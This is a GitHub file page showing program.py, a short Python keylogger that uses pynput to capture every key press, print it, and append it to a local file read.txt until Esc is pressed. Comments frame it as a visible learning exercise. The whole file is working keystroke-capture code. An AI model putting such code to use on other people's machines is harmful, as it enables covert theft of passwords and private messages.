forked from Armaan-Agarwal/Keylogger
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathprogram.py
47 lines (35 loc) · 1.93 KB
/
program.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# The keylogger is meant for understanding and learning purposes
# It will not execute in the background system
import pynput
from pynput.keyboard import Key, Listener
def press(key): # stores the data of the key pressed
f=[]
f.append(key)
write_file(f)
print(key, "pressed")
def release(key): # stores the data of the key released
if key==Key.esc: # check if the key is esc key or not, if so then the program will
return False
def write_file(f):
with open("read.txt","a") as file: # open the file named as read.txt in append mode
for i in range(len(f)):
alpha=str(f[i]).replace("'",'')
if alpha.find("enter")>0:
file.write("\n\n -->Enter \n\n")
elif alpha.find(".space")>0:
file.write("\n\n -->Space \n")
elif alpha.find(".ctrl")>0:
file.write("\n\n -->Ctrl \n")
elif alpha.find(".backspace")>0:
file.write("\b")
elif alpha.find(".caps_lock")>0:
file.write("\n\n ->Capslock \n")
elif alpha.find(".shift")>0:
file.write("")
elif alpha.find(".esc")>0:
file.write("\n\n -->Keylogger Terminated \n")
else:
file.write(alpha)
with Listener(on_press=press, on_release=release) as l: # Listener will store the data of the keys that will be pressed on the keyboard by the user
l.join() # We join the data we receive from release and press functions
#